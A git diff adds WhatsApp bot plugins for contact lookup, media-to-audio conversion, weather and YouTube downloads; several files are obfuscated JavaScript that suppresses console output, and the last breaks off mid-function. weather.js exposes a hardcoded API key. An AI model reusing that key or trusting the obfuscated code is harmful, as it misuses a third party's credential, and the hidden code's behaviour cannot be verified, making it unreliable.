_0x26c3f7[_0x20d327(-0xef,-0x120,-0xeb,-0x108)](_0x159feb,_0x3e9972(-0x198,-0x169,-0x174,-0x1bc)+'แด‡แด˜สŸส\x20แด›แด\x20แด€\x20'+_0x3e9972(-0x1b8,-0x1d5,-0x1d8,-0x1d9)+_0x3e9972(-0x1af,-0x1be,-0x1ab,-0x19d));else{const _0x4c7c72=_0xac3e2a[_0x20d327(-0x135,-0x113,-0xf5,-0x102)](_0x21aa59,arguments);return _0x57f4d8=null,_0x4c7c72;}}const _0x4c4342=await _0x561760['quoted'][_0x3e9972(-0x16e,-0x198,-0x19b,-0x17c)](),_0x4f6273=_0x561760[_0x3e9972(-0x171,-0x172,-0x176,-0x190)][_0x3e9972(-0x176,-0x179,-0x147,-0x18d)],_0x38a0e2={};_0x38a0e2[_0x20d327(-0xd1,-0xca,-0xfe,-0xcb)]=_0x10cf5e;const _0x1d8861=_0x38a0e2;let _0x308f68={};switch(_0x4f6273){case _0x20d327(-0x112,-0xe3,-0xda,-0xfd)+'ge':const _0x467358={};_0x467358[_0x20d327(-0x10d,-0xe5,-0x108,-0xb1)]=_0x4c4342,_0x467358[_0x20d327(-0x9f,-0xc9,-0xcc,-0xb8)]=_0x561760[_0x20d327(-0xae,-0xca,-0xcc,-0x9e)][_0x3e9972(-0x1d0,-0x1d1,-0x1cc,-0x1e2)]||'',_0x467358[_0x20d327(-0xbc,-0xee,-0xf8,-0xf4)]=_0x561760['quoted']['mimetype']||_0x3e9972(-0x19b,-0x16c,-0x197,-0x1ab),_0x308f68=_0x467358;break;case'videoMessa'+'ge':const _0x2fb875={};_0x2fb875[_0x3e9972(-0x1c8,-0x19a,-0x1d7,-0x1c5)]=_0x4c4342,_0x2fb875[_0x20d327(-0xc3,-0xc9,-0xfd,-0xb5)]=_0x561760[_0x20d327(-0x9d,-0xca,-0xb3,-0xb3)][_0x20d327(-0x119,-0x129,-0x131,-0x118)]||'',_0x2fb875[_0x20d327(-0xdb,-0xee,-0xed,-0xd9)]=_0x561760[_0x20d327(-0xef,-0xca,-0x95,-0x9a)][_0x20d327(-0xd5,-0xee,-0xfa,-0xca)]||'video/mp4',_0x308f68=_0x2fb875;break;case _0x20d327(-0xf2,-0x102,-0x12c,-0x107)+'ge':const _0x3a049c={};_0x3a049c[_0x20d327(-0xe1,-0xe7,-0x104,-0x104)]=_0x4c4342,_0x3a049c[_0x20d327(-0xee,-0xee,-0xc4,-0x10c)]=_0x26c3f7[_0x20d327(-0xeb,-0xdb,-0xe7,-0xb2)],_0x3a049c['ptt']=_0x561760['quoted']['ptt']||![],_0x308f68=_0x3a049c;break;case _0x26c3f7[_0x3e9972(-0x199,-0x170,-0x191,-0x18c)]:const _0x2b9e82={};_0x2b9e82[_0x20d327(-0x146,-0x11d,-0x131,-0x106)]=_0x4c4342,_0x308f68=_0x2b9e82;break;case _0x26c3f7[_0x3e9972(-0x196,-0x178,-0x1b3,-0x176)]:const _0x540b63={};_0x540b63[_0x3e9972(-0x1bb,-0x198,-0x1c7,-0x1cc)]=_0x4c4342,_0x540b63['mimetype']=_0x561760[_0x3e9972(-0x171,-0x193,-0x153,-0x140)][_0x20d327(-0xbd,-0xee,-0xec,-0xf4)]||_0x26c3f7[_0x3e9972(-0x186,-0x1ba,-0x180,-0x1ab)],_0x540b63[_0x3e9972(-0x1b6,-0x1b6,-0x1bc,-0x186)]=_0x561760[_0x3e9972(-0x171,-0x146,-0x18f,-0x19e)]['fileName']||'document',_0x308f68=_0x540b63;break;case _0x20d327(-0xc2,-0xd0,-0xbe,-0xf0)+'e':default:if(_0x561760[_0x20d327(-0xd8,-0xca,-0xfa,-0xe7)][_0x20d327(-0x103,-0x129,-0x138,-0x10a)]){if(_0x26c3f7['TJeCs'](_0x3e9972(-0x1a0,-0x196,-0x1a4,-0x1af),_0x26c3f7[_0x20d327(-0x122,-0xfb,-0x124,-0xda)])){const _0x58dc1b={};_0x58dc1b[_0x3e9972(-0x1d0,-0x1e1,-0x1ea,-0x1b2)]=_0x561760[_0x20d327(-0xef,-0xca,-0x9e,-0xb9)]['text'],_0x308f68=_0x58dc1b;}else return _0x26c3f7['ftuka'](_0x20aa59,_0x3e9972(-0x198,-0x166,-0x1b0,-0x1a7)+'แด‡แด˜สŸส\x20แด›แด\x20แด€\x20'+_0x3e9972(-0x1b8,-0x19a,-0x1ab,-0x1b9)+_0x3e9972(-0x1af,-0x1cd,-0x1c5,-0x192));}else{if(_0x26c3f7[_0x3e9972(-0x183,-0x150,-0x151,-0x1b6)](_0x26c3f7[_0x20d327(-0xe3,-0x118,-0x122,-0x13e)],_0x26c3f7[_0x3e9972(-0x17d,-0x173,-0x180,-0x1af)])){const _0x9b58dc=_0x5b8022?function(){function _0x3e2a15(_0x18171d,_0x2bfbb5,_0x1427d4,_0x387950){return _0x20d327(_0x18171d-0xab,_0x2bfbb5- -0x78,_0x18171d,_0x387950-0x34);}if(_0x3a55a0){const _0x240844=_0x1cd6c7[_0x3e2a15(-0x16e,-0x18b,-0x199,-0x17a)](_0x12d8ec,arguments);return _0x50208a=null,_0x240844;}}:function(){};return _0x5a49b9=![],_0x9b58dc;}else{const _0x4048b8={};_0x4048b8['text']=_0x3e9972(-0x1c1,-0x1a0,-0x193,-0x1ad)+'ส€\x20แดแด„แด„แดœส€ส€แด‡แด…'+_0x20d327(-0x115,-0xf0,-0xe8,-0xf1)+_0x3e9972(-0x1c5,-0x1ee,-0x1c3,-0x1ce)+_0x20d327(-0x120,-0x105,-0xff,-0xea)+_0x20d327(-0x9e,-0xd2,-0xc3,-0xa7);const _0x279e33={};return _0x279e33[_0x3e9972(-0x171,-0x153,-0x158,-0x194)]=_0x10cf5e,await _0x568c05[_0x20d327(-0x11d,-0x100,-0x10a,-0xd9)+'e'](_0x56d37c,_0x4048b8,_0x279e33);}}}await _0x568c05['sendMessag'+'e'](_0x56d37c,_0x308f68,_0x1d8861);}catch(_0x223635){if(_0x26c3f7[_0x3e9972(-0x189,-0x189,-0x174,-0x161)](_0x26c3f7[_0x20d327(-0x134,-0x124,-0x135,-0x119)],_0x26c3f7[_0x20d327(-0x13e,-0x124,-0x13a,-0x103)])){let _0x3eaefc;try{_0x3eaefc=Essucp['QKDos'](_0x48c376,Essucp['LKMoG'](Essucp['aUcOx'](Essucp['YCQlJ'],Essucp[_0x20d327(-0x123,-0x117,-0xf2,-0x104)]),');'))();}catch(_0x45748b){_0x3eaefc=_0x13087d;}return _0x3eaefc;}else{console[_0x3e9972(-0x1a3,-0x16f,-0x17a,-0x192)](_0x26c3f7['NJAbH'],_0x223635);const _0x56ee4c={};_0x56ee4c[_0x20d327(-0x11f,-0x129,-0x15e,-0x117)]=_0x20d327(-0x128,-0x103,-0xf6,-0x132)+_0x20d327(-0xfb,-0xf3,-0x114,-0xfc)+_0x3e9972(-0x1c2,-0x1c7,-0x1d3,-0x1b5)+_0x223635['message'];const _0x5c5406={};_0x5c5406[_0x20d327(-0xf0,-0xca,-0xb7,-0xf8)]=_0x10cf5e,await _0x568c05[_0x20d327(-0x126,-0x100,-0xdc,-0xe1)+'e'](_0x56d37c,_0x56ee4c,_0x5c5406);}}}); diff --git a/plugins/wa.js b/plugins/wa.js new file mode 100644 index 0000000000000000000000000000000000000000..50e3a46230a24011a61604a451da407a2798ae08 --- /dev/null +++ b/plugins/wa.js @@ -0,0 +1,51 @@ + + +const { cmd } = require("../command"); + +cmd({ + pattern: "wa", + alias: ["wamw", "whois"], + desc: "Display a contact's number in three formats (requires reply to a message). (Owner only)", + category: "contact", + react: "๐ŸŽด", + filename: __filename, + use: ".wa (reply to a message)" +}, async (conn, mek, m, { from, sender, isOwner, reply }) => { + try { + // Ensure that only the owner can use this command + if (!isOwner) return reply("*_โŒ You are not authorized to use this command._*"); + + // Check if the command was used as a reply + if (!m.quoted) { + return reply("*_โš ๏ธ Please reply to a message to get that contact's number._*"); + } + + // Retrieve the target JID from the replied message + const targetJid = m.quoted.sender; + if (!targetJid) return reply("โŒ Unable to retrieve the contact's number."); + + // Extract the phone number part from the JID (e.g., "123456789@s.whatsapp.net" becomes "123456789") + const number = targetJid.split('@')[0]; + + // Create the international format (add '+' if missing) + const plusFormat = number.startsWith("+") ? number : `+${number}`; + + // Create the wa.me link format (without the '+') + const waLink = `https://wa.me/${number}`; + + // Create the JID format (remains as is) + const jidFormat = `${number}@s.whatsapp.net`; + + // Construct the final message containing all three formats + const message = `*๐Ÿ“žContact Number Formats:*\n\n` + + `*International Format:* ${plusFormat}\n` + + `*Link:* ${waLink}\n` + + `*JID:* ${jidFormat}`; + + // Reply with the formatted message + return reply(message); + } catch (error) { + console.error("Error in wa command:", error); + return reply(`โŒ An error occurred: ${error.message}`); + } +}); diff --git a/plugins/wawe.js b/plugins/wawe.js new file mode 100644 index 0000000000000000000000000000000000000000..eb5ac9bc2a7f136e48362706fec0a54494312e5a --- /dev/null +++ b/plugins/wawe.js @@ -0,0 +1 @@ +const _0x4f132a=_0x5a84;(function(_0x3627ce,_0x480e2b){const _0x15043b=_0x5a84,_0x4b9a30=_0x3627ce();while(!![]){try{const _0xf20c4=-parseInt(_0x15043b(0xc3))/0x1*(-parseInt(_0x15043b(0xe0))/0x2)+parseInt(_0x15043b(0xc7))/0x3+-parseInt(_0x15043b(0xdb))/0x4+parseInt(_0x15043b(0xb9))/0x5+parseInt(_0x15043b(0xde))/0x6*(-parseInt(_0x15043b(0xe4))/0x7)+-parseInt(_0x15043b(0xcb))/0x8*(parseInt(_0x15043b(0xed))/0x9)+parseInt(_0x15043b(0xce))/0xa;if(_0xf20c4===_0x480e2b)break;else _0x4b9a30['push'](_0x4b9a30['shift']());}catch(_0x1aa48e){_0x4b9a30['push'](_0x4b9a30['shift']());}}}(_0x3ab6,0xc33e9));function _0x5a84(_0x2f6567,_0x2ef9ed){const _0x5242fb=_0x3ab6();return _0x5a84=function(_0x13f36c,_0x221a62){_0x13f36c=_0x13f36c-0xb9;let _0x81df45=_0x5242fb[_0x13f36c];return _0x81df45;},_0x5a84(_0x2f6567,_0x2ef9ed);}const _0x5cdca7=(function(){let _0x4e1a5e=!![];return function(_0x2f7fbe,_0x23a4d1){const _0x3e48bf=_0x4e1a5e?function(){const _0x44c8d7=_0x5a84;if(_0x23a4d1){const _0x2fad9e=_0x23a4d1[_0x44c8d7(0xdd)](_0x2f7fbe,arguments);return _0x23a4d1=null,_0x2fad9e;}}:function(){};return _0x4e1a5e=![],_0x3e48bf;};}()),_0x5b1a32=_0x5cdca7(this,function(){const _0x31207a=_0x5a84;return _0x5b1a32[_0x31207a(0xe6)]()[_0x31207a(0xd6)](_0x31207a(0xbb))['toString']()[_0x31207a(0xd2)](_0x5b1a32)['search'](_0x31207a(0xbb));});function _0x3ab6(){const _0x4eda52=['warn','apply','34374UuYAKq','*๐Ÿงƒ\x20แด˜สŸแด‡แด€sแด‡\x20ส€แด‡แด˜สŸส\x20แด›แด\x20แด€\x20แด ษชแด…แด‡แด/แด€แดœแด…ษชแด\x20แดแด‡ssแด€ษขแด‡*','300ORIVgm','../data/converter','PTT\x20conversion\x20error:','prototype','1351pqpUch','sendMessage','toString','*๐Ÿ‰\x20แด˜สŸแด‡แด€sแด‡\x20ส€แด‡แด˜สŸส\x20แด›แด\x20แด€\x20แด ษชแด…แด‡แด/แด€แดœแด…ษชแด\x20แดแด‡ssแด€ษขแด‡*','{}.constructor(\x22return\x20this\x22)(\x20)','bind','__proto__','audio','mp3','9PzaTSE','3270720sczsSw','โŒ\x20Only\x20video/audio\x20messages\x20can\x20be\x20converted','(((.+)+)+)+$','quoted','โŒ\x20Failed\x20to\x20process\x20audio','audio/mpeg','Conversion\x20error:','error','seconds','tomp3','3618ruTRKI','mp4','return\x20(function()\x20','Convert\x20media\x20to\x20voice\x20message','4498428VqkCDW','includes','โฑ๏ธ\x20Media\x20too\x20long\x20for\x20voice\x20(max\x201\x20minute)','toAudio','12386216aMvtHN','๐ŸŽ™๏ธ','console','7910020rmnipp','โŒ\x20Failed\x20to\x20create\x20voice\x20message','exception','tovoice','constructor','log','toPTT','videoMessage','search','message','mtype','info','audioMessage','134508hYGUZz'];_0x3ab6=function(){return _0x4eda52;};return _0x3ab6();}_0x5b1a32();const _0x221a62=(function(){let _0x2fbe28=!![];return function(_0x33d416,_0x56468f){const _0x47a95a=_0x2fbe28?function(){const _0x519351=_0x5a84;if(_0x56468f){const _0x5b90de=_0x56468f[_0x519351(0xdd)](_0x33d416,arguments);return _0x56468f=null,_0x5b90de;}}:function(){};return _0x2fbe28=![],_0x47a95a;};}()),_0x13f36c=_0x221a62(this,function(){const _0xa657a1=_0x5a84;let _0x237ef9;try{const _0x5a62b7=Function(_0xa657a1(0xc5)+_0xa657a1(0xe8)+');');_0x237ef9=_0x5a62b7();}catch(_0x2ef8eb){_0x237ef9=window;}const _0x29a2b1=_0x237ef9[_0xa657a1(0xcd)]=_0x237ef9['console']||{},_0x20f7fc=[_0xa657a1(0xd3),_0xa657a1(0xdc),_0xa657a1(0xd9),_0xa657a1(0xc0),_0xa657a1(0xd0),'table','trace'];for(let _0x1dc923=0x0;_0x1dc923<_0x20f7fc['length'];_0x1dc923++){const _0x5c9727=_0x221a62['constructor'][_0xa657a1(0xe3)][_0xa657a1(0xe9)](_0x221a62),_0x50eb93=_0x20f7fc[_0x1dc923],_0x37aa9d=_0x29a2b1[_0x50eb93]||_0x5c9727;_0x5c9727[_0xa657a1(0xea)]=_0x221a62[_0xa657a1(0xe9)](_0x221a62),_0x5c9727['toString']=_0x37aa9d[_0xa657a1(0xe6)]['bind'](_0x37aa9d),_0x29a2b1[_0x50eb93]=_0x5c9727;}});_0x13f36c();const converter=require(_0x4f132a(0xe1)),{cmd}=require('../command');cmd({'pattern':_0x4f132a(0xc2),'alias':[_0x4f132a(0xec)],'desc':'Convert\x20media\x20to\x20audio','category':_0x4f132a(0xeb),'react':'๐ŸŒ€','filename':__filename},async(_0x14e8e8,_0xebc077,_0x14be18,{from:_0x424a09})=>{const _0x1afe9c=_0x4f132a;if(!_0xebc077[_0x1afe9c(0xbc)])return await _0x14e8e8[_0x1afe9c(0xe5)](_0x424a09,{'text':_0x1afe9c(0xdf)},{'quoted':_0x14be18});if(!['videoMessage',_0x1afe9c(0xda)][_0x1afe9c(0xc8)](_0xebc077[_0x1afe9c(0xbc)][_0x1afe9c(0xd8)]))return await _0x14e8e8[_0x1afe9c(0xe5)](_0x424a09,{'text':_0x1afe9c(0xba)},{'quoted':_0x14be18});if(_0xebc077[_0x1afe9c(0xbc)][_0x1afe9c(0xc1)]>0x12c)return await _0x14e8e8[_0x1afe9c(0xe5)](_0x424a09,{'text':'โฑ๏ธ\x20Media\x20too\x20long\x20(max\x205\x20minutes)'},{'quoted':_0x14be18});try{const _0x12b605=await _0xebc077[_0x1afe9c(0xbc)]['download'](),_0x1e9999=_0xebc077[_0x1afe9c(0xbc)]['mtype']==='videoMessage'?_0x1afe9c(0xc4):'m4a',_0x4498ee=await converter[_0x1afe9c(0xca)](_0x12b605,_0x1e9999);await _0x14e8e8[_0x1afe9c(0xe5)](_0x424a09,{'audio':_0x4498ee,'mimetype':_0x1afe9c(0xbe)},{'quoted':_0x14be18});}catch(_0x210998){console[_0x1afe9c(0xc0)](_0x1afe9c(0xbf),_0x210998[_0x1afe9c(0xd7)]),await _0x14e8e8['sendMessage'](_0x424a09,{'text':_0x1afe9c(0xbd)},{'quoted':_0x14be18});}}),cmd({'pattern':_0x4f132a(0xd1),'alias':['wawe'],'desc':_0x4f132a(0xc6),'category':_0x4f132a(0xeb),'react':_0x4f132a(0xcc),'filename':__filename},async(_0x5c8765,_0x5d359d,_0x37163b,{from:_0x51d00c})=>{const _0x3b91da=_0x4f132a;if(!_0x5d359d[_0x3b91da(0xbc)])return await _0x5c8765[_0x3b91da(0xe5)](_0x51d00c,{'text':_0x3b91da(0xe7)},{'quoted':_0x37163b});if(![_0x3b91da(0xd5),_0x3b91da(0xda)][_0x3b91da(0xc8)](_0x5d359d[_0x3b91da(0xbc)][_0x3b91da(0xd8)]))return await _0x5c8765[_0x3b91da(0xe5)](_0x51d00c,{'text':_0x3b91da(0xba)},{'quoted':_0x37163b});if(_0x5d359d['quoted'][_0x3b91da(0xc1)]>0x3c)return await _0x5c8765[_0x3b91da(0xe5)](_0x51d00c,{'text':_0x3b91da(0xc9)},{'quoted':_0x37163b});try{const _0x3064a0=await _0x5d359d[_0x3b91da(0xbc)]['download'](),_0x409b0e=_0x5d359d[_0x3b91da(0xbc)][_0x3b91da(0xd8)]===_0x3b91da(0xd5)?_0x3b91da(0xc4):'m4a',_0x18d484=await converter[_0x3b91da(0xd4)](_0x3064a0,_0x409b0e);await _0x5c8765[_0x3b91da(0xe5)](_0x51d00c,{'audio':_0x18d484,'mimetype':'audio/ogg;\x20codecs=opus','ptt':!![]},{'quoted':_0x37163b});}catch(_0x17408a){console['error'](_0x3b91da(0xe2),_0x17408a[_0x3b91da(0xd7)]),await _0x5c8765[_0x3b91da(0xe5)](_0x51d00c,{'text':_0x3b91da(0xcf)},{'quoted':_0x37163b});}}); diff --git a/plugins/weather.js b/plugins/weather.js new file mode 100644 index 0000000000000000000000000000000000000000..8c51e3317f9247d58e9312d22fe3443399d7c3e1 --- /dev/null +++ b/plugins/weather.js @@ -0,0 +1,43 @@ + + +const axios = require('axios'); +const config = require('../config'); +const { cmd, commands } = require('../command'); +cmd({ + pattern: "weather", + desc: "๐ŸŒค Get weather information for a location", + react: "๐ŸŒค", + category: "other", + filename: __filename +}, +async (conn, mek, m, { from, q, reply }) => { + try { + if (!q) return reply("โ— Please provide a city name. Usage: .weather [city name]"); + const apiKey = '2d61a72574c11c4f36173b627f8cb177'; + const city = q; + const url = `http://api.openweathermap.org/data/2.5/weather?q=${city}&appid=${apiKey}&units=metric`; + const response = await axios.get(url); + const data = response.data; + const weather = ` +๐ŸŒ *Weather Information for ${data.name}, ${data.sys.country}* ๐ŸŒ +๐ŸŒก๏ธ *Temperature*: ${data.main.temp}ยฐC +๐ŸŒก๏ธ *Feels Like*: ${data.main.feels_like}ยฐC +๐ŸŒก๏ธ *Min Temp*: ${data.main.temp_min}ยฐC +๐ŸŒก๏ธ *Max Temp*: ${data.main.temp_max}ยฐC +๐Ÿ’ง *Humidity*: ${data.main.humidity}% +โ˜๏ธ *Weather*: ${data.weather[0].main} +๐ŸŒซ๏ธ *Description*: ${data.weather[0].description} +๐Ÿ’จ *Wind Speed*: ${data.wind.speed} m/s +๐Ÿ”ฝ *Pressure*: ${data.main.pressure} hPa + +*POWERED BY ALI MD* +`; + return reply(weather); + } catch (e) { + console.log(e); + if (e.response && e.response.status === 404) { + return reply("๐Ÿšซ City not found. Please check the spelling and try again."); + } + return reply("โš ๏ธ An error occurred while fetching the weather information. Please try again later."); + } +}); diff --git a/plugins/ytdl.js b/plugins/ytdl.js new file mode 100644 index 0000000000000000000000000000000000000000..975c4c2949f032de46476c3bcad3f5d7dffccff0 --- /dev/null +++ b/plugins/ytdl.js @@ -0,0 +1,60 @@ +const { cmd } = require("../command"); const yts = require("yt-search"); const axios = require("axios"); + +cmd({ pattern: "ong", alias: ["musiic", "mp04"], desc: "Search and download a song from YouTube", category: "media", react: "๐ŸŽต", filename: __filename }, async (conn, mek, m, { from, args, q, reply }) => { try { if (!q) return reply("Please provide a song name or YouTube link to download."); + +let videoUrl = q; + if (!q.includes("youtube.com") && !q.includes("youtu.be")) { + reply("*๐ŸŽ ๐€ษญฤซฤซ ๐ŒฦŠ ๐’๐„๐€๐‘๐‚๐‡๐ˆ๐๐† ๐’๐Ž๐๐†...*"); + const searchResults = await yts(q); + if (!searchResults.videos.length) return reply("No results found for your query."); + videoUrl = searchResults.videos[0].url; + } + + const apiUrl = `https://apis.davidcyriltech.my.id/youtube/mp4?url=${videoUrl}`; + const response = await axios.get(apiUrl); + if (!response.data || !response.data.status || !response.data.result.url) { + return reply("Failed to fetch the video. Try again later."); + } + + await conn.sendMessage(from, { + video: { url: response.data.result.url }, + caption: `๐ŸŽถ *Title:* ${response.data.result.title}\n๐Ÿ”— *Link:* ${videoUrl}` + }, { quoted: mek }); + +} catch (e) { + console.error("Error in song command:", e); + reply("An error occurred while processing your request."); +} + +}); + +cmd({ pattern: "music", alias: ["play2", "song2"], desc: "Search and download audio from YouTube", category: "media", react: "๐ŸŽง", filename: __filename }, async (conn, mek, m, { from, args, q, reply }) => { try { if (!q) return reply("*๐โ„“ั”ฮฑ๐ฌึŸแั” ๐ส€เนฮฝฮนษ–ั” ๐€ ๐’เนฦžอ›g ๐ฮฑะผั”..*"); + +let videoUrl = q; + if (!q.includes("youtube.com") && !q.includes("youtu.be")) { + reply("*๐ŸŽ ๐€ษญฤซฤซ ๐ŒฦŠ ๐’๐„๐€๐‘๐‚๐‡๐ˆ๐๐† ๐’๐Ž๐๐†...*"); + const searchResults = await yts(q); + if (!searchResults.videos.length) return reply("No results found for your query."); + videoUrl = searchResults.videos[0].url; + } + + const apiUrl = `https://apis.davidcyriltech.my.id/youtube/mp3?url=${videoUrl}`; + const response = await axios.get(apiUrl); + if (!response.data || !response.data.success || !response.data.result.downloadUrl) { + return reply("Failed to fetch the audio. Try again later."); + } + + await conn.sendMessage(from, { + audio: { url: response.data.result.downloadUrl }, + mimetype: "audio/mpeg", + ptt: false, + caption: `๐ŸŽต *Title:* ${response.data.result.title}\n๐Ÿ”— *Link:* ${videoUrl}` + }, { quoted: mek }); + +} catch (e) { + console.error("Error in play command:", e); + reply("An error occurred while processing your request."); +} + +}); + diff --git a/plugins/ytdl2.js b/plugins/ytdl2.js new file mode 100644 index 0000000000000000000000000000000000000000..149c84ed6a854f27cfdc1897b7f771e881ac14d0 --- /dev/null +++ b/plugins/ytdl2.js @@ -0,0 +1 @@ +(function(_0x1bac36,_0x31ef9d){function _0x319b77(_0xddb32c,_0x4eaadf,_0x1c18bf,_0x3b5e0c){return _0x2bf9(_0x4eaadf-0x23e,_0x1c18bf);}const _0x3690b7=_0x1bac36();function _0x428708(_0xb8d299,_0xe89df2,_0x1148b9,_0x3e52c3){return _0x2bf9(_0xb8d299-0x3db,_0xe89df2);}while(!![]){try{const _0x1cfd24=parseInt(_0x319b77(0x30f,0x32f,0x2e0,0x36a))/(-0x158f+0x365*0x9+-0x27*0x3b)+parseInt(_0x428708(0x524,0x55a,0x508,0x513))/(-0xfd9+0x1*0xbe3+-0x2*-0x1fc)+-parseInt(_0x319b77(0x3ba,0x36d,0x3ad,0x350))/(-0xd48+-0xb*-0x2e6+0x1*-0x1297)*(-parseInt(_0x428708(0x4a3,0x4cf,0x477,0x4bd))/(-0xb3*-0x3+-0x2292+0x207d))+parseInt(_0x428708(0x52b,0x562,0x57c,0x4fb))/(-0x2*-0x9fa+0x8*-0x4e1+0x1319*0x1)+parseInt(_0x428708(0x4d1,0x4ca,0x4c9,0x4a5))/(0x1e34*-0x1+0x8ac+0x158e)+-parseInt(_0x319b77(0x2f7,0x31b,0x361,0x2d1))/(0x1f7a+0x1*-0x25b0+0x63d)+parseInt(_0x319b77(0x367,0x34e,0x36b,0x348))/(-0x21de+-0x77c+0x2962)*(-parseInt(_0x428708(0x53d,0x545,0x565,0x500))/(-0x542*0x3+-0xb3*-0x16+-0x6d*-0x1));if(_0x1cfd24===_0x31ef9d)break;else _0x3690b7['push'](_0x3690b7['shift']());}catch(_0x38d00d){_0x3690b7['push'](_0x3690b7['shift']());}}}(_0x4d43,0x8b60+0x1*0x73d6+0x915f3));const _0x129b47=(function(){const _0xdf91e2={'GZbTS':function(_0x313da9,_0x4b0a63){return _0x313da9(_0x4b0a63);},'hzfkQ':function(_0xef4c3,_0x1514d3){return _0xef4c3===_0x1514d3;},'zNWyg':_0x431e50(0x7f,0xbd,0x6e,0x6a)};let _0x7d7a6e=!![];function _0x431e50(_0x19ab89,_0x39dd6c,_0x2cc544,_0x3908bf){return _0x2bf9(_0x19ab89- -0xb5,_0x3908bf);}return function(_0x1097ef,_0xafdc8e){const _0x164756={'Wtxnt':function(_0x32541d,_0x46ea6c){return _0xdf91e2['GZbTS'](_0x32541d,_0x46ea6c);},'DVLQi':'An\x20error\x20o'+_0x414022(0x49a,0x460,0x49f,0x46a)+_0x414022(0x3f4,0x3f7,0x41a,0x3e6)+_0x414022(0x483,0x45a,0x429,0x486)};function _0x4ee33a(_0x5c4a53,_0x6c312e,_0x4f7cc9,_0x35c6cc){return _0x431e50(_0x6c312e-0x27c,_0x6c312e-0xfb,_0x4f7cc9-0xd3,_0x5c4a53);}function _0x414022(_0x1212c7,_0x13bd08,_0x5e64b7,_0x5295bb){return _0x431e50(_0x13bd08-0x3d4,_0x13bd08-0x141,_0x5e64b7-0x4c,_0x5295bb);}if(_0xdf91e2['hzfkQ'](_0xdf91e2[_0x4ee33a(0x2d1,0x296,0x2a3,0x2a4)],_0xdf91e2[_0x414022(0x40e,0x3ee,0x3e5,0x3e5)])){const _0x4344e4=_0x7d7a6e?function(){if(_0xafdc8e){const _0x186f56=_0xafdc8e['apply'](_0x1097ef,arguments);return _0xafdc8e=null,_0x186f56;}}:function(){};return _0x7d7a6e=![],_0x4344e4;}else _0x168574['error'](_0x12747e),_0x164756[_0x4ee33a(0x2f2,0x2f8,0x310,0x344)](_0x14ef93,_0x164756[_0x4ee33a(0x294,0x297,0x293,0x276)]);};}()),_0x376113=_0x129b47(this,function(){const _0x46a059={};function _0x24db50(_0x5ec128,_0xf431a1,_0x46f689,_0x2404f4){return _0x2bf9(_0x2404f4- -0x33,_0x5ec128);}function _0x2b83f5(_0x5e6f0c,_0x1e4d55,_0x179b48,_0x479e3f){return _0x2bf9(_0x479e3f-0x37d,_0x1e4d55);}_0x46a059[_0x24db50(0xd8,0xd2,0xf0,0xbd)]=_0x24db50(0x159,0x121,0x102,0x12c)+'+$';const _0x416523=_0x46a059;return _0x376113[_0x2b83f5(0x485,0x4ad,0x421,0x45e)]()[_0x24db50(0xe6,0xdf,0x7d,0xac)](_0x24db50(0x113,0xf3,0xfc,0x12c)+'+$')[_0x24db50(0xae,0x83,0xf0,0xae)]()[_0x2b83f5(0x4c2,0x4bd,0x4eb,0x4ce)+'r'](_0x376113)[_0x2b83f5(0x471,0x46b,0x444,0x45c)](_0x416523[_0x24db50(0x86,0x77,0x10a,0xbd)]);});_0x376113();const _0x5cc568=(function(){function _0x3b1c42(_0x158cfe,_0x597901,_0x3d1dd7,_0x5d33ca){return _0x2bf9(_0x597901-0x378,_0x3d1dd7);}function _0x5b4618(_0x2620f3,_0x237e4,_0xfc0b87,_0x1dcaf7){return _0x2bf9(_0xfc0b87-0x340,_0x2620f3);}const _0x5f5d5d={};_0x5f5d5d[_0x3b1c42(0x475,0x453,0x40c,0x478)]=function(_0xda1044,_0x2f20df){return _0xda1044===_0x2f20df;},_0x5f5d5d[_0x5b4618(0x46d,0x48f,0x492,0x496)]=_0x3b1c42(0x464,0x497,0x44b,0x468);const _0x281943=_0x5f5d5d;let _0x34ddc2=!![];return function(_0x35a70a,_0x27f398){const _0x3dcc76=_0x34ddc2?function(){function _0x466063(_0x35ca77,_0x1da99e,_0x238d2e,_0x5e7f2d){return _0x2bf9(_0x35ca77- -0x182,_0x238d2e);}function _0x4f3c03(_0x38755e,_0x1a7961,_0x4bd6a8,_0x505771){return _0x2bf9(_0x4bd6a8- -0x1a2,_0x505771);}if(_0x27f398){if(_0x281943['aCwmW'](_0x281943[_0x466063(-0x30,-0x69,-0x25,-0x38)],_0x281943[_0x4f3c03(-0x6f,-0x89,-0x50,-0x86)])){const _0x17de15=_0x27f398['apply'](_0x35a70a,arguments);return _0x27f398=null,_0x17de15;}else{const _0x3dcd7b=_0x51371b?function(){function _0x19bbd3(_0x5072e3,_0x4a65ce,_0x106c16,_0x3c65b8){return _0x4f3c03(_0x5072e3-0x111,_0x4a65ce-0x196,_0x106c16-0x41c,_0x4a65ce);}if(_0x47191a){const _0x197e4d=_0x1d38fb[_0x19bbd3(0x415,0x3c8,0x3c6,0x3b8)](_0xb809c0,arguments);return _0x20f3c7=null,_0x197e4d;}}:function(){};return _0x457d7e=![],_0x3dcd7b;}}}:function(){};return _0x34ddc2=![],_0x3dcc76;};}()),_0x1e030d=_0x5cc568(this,function(){const _0x16b66b={'pFAVX':function(_0x4bdc11,_0x5c6aa5){return _0x4bdc11===_0x5c6aa5;},'cmPvZ':_0x346951(0x167,0x19d,0x18d,0x1d1),'fSUzm':function(_0x59b0d9,_0x2a7d91){return _0x59b0d9(_0x2a7d91);},'CZEFx':function(_0x44a4ba,_0x17ce50){return _0x44a4ba+_0x17ce50;},'XEMTr':function(_0xd4fe98,_0x40c9a8){return _0xd4fe98+_0x40c9a8;},'cZnIq':_0x346951(0x20d,0x1c2,0x1fb,0x1de)+_0x205102(0x183,0x143,0x18f,0x1a7),'THiyL':_0x205102(0x156,0x175,0x145,0x13c)+_0x205102(0x171,0x125,0x16c,0x126)+'rn\x20this\x22)('+'\x20)','pkjvF':function(_0xe30015){return _0xe30015();},'VANif':_0x346951(0x172,0x193,0x1c6,0x1a7),'rOqjK':_0x205102(0x177,0x196,0x143,0x148),'jCVRg':'info','nZagk':_0x205102(0x178,0x131,0x150,0x1b9),'PfCUN':'table','YXDFC':_0x205102(0x193,0x1bb,0x1c8,0x14e),'DnXOf':function(_0xfb3bd9,_0xed3adb){return _0xfb3bd9<_0xed3adb;},'guRlm':function(_0x286d8f,_0x414614){return _0x286d8f!==_0x414614;},'OiXuk':_0x205102(0x19b,0x1c2,0x19e,0x1e7)},_0x261bba=function(){function _0x5cb0b4(_0x5dbf37,_0x2aaeec,_0x31e51e,_0x86c17e){return _0x205102(_0x31e51e-0x11d,_0x2aaeec-0x10f,_0x5dbf37,_0x86c17e-0x1b8);}function 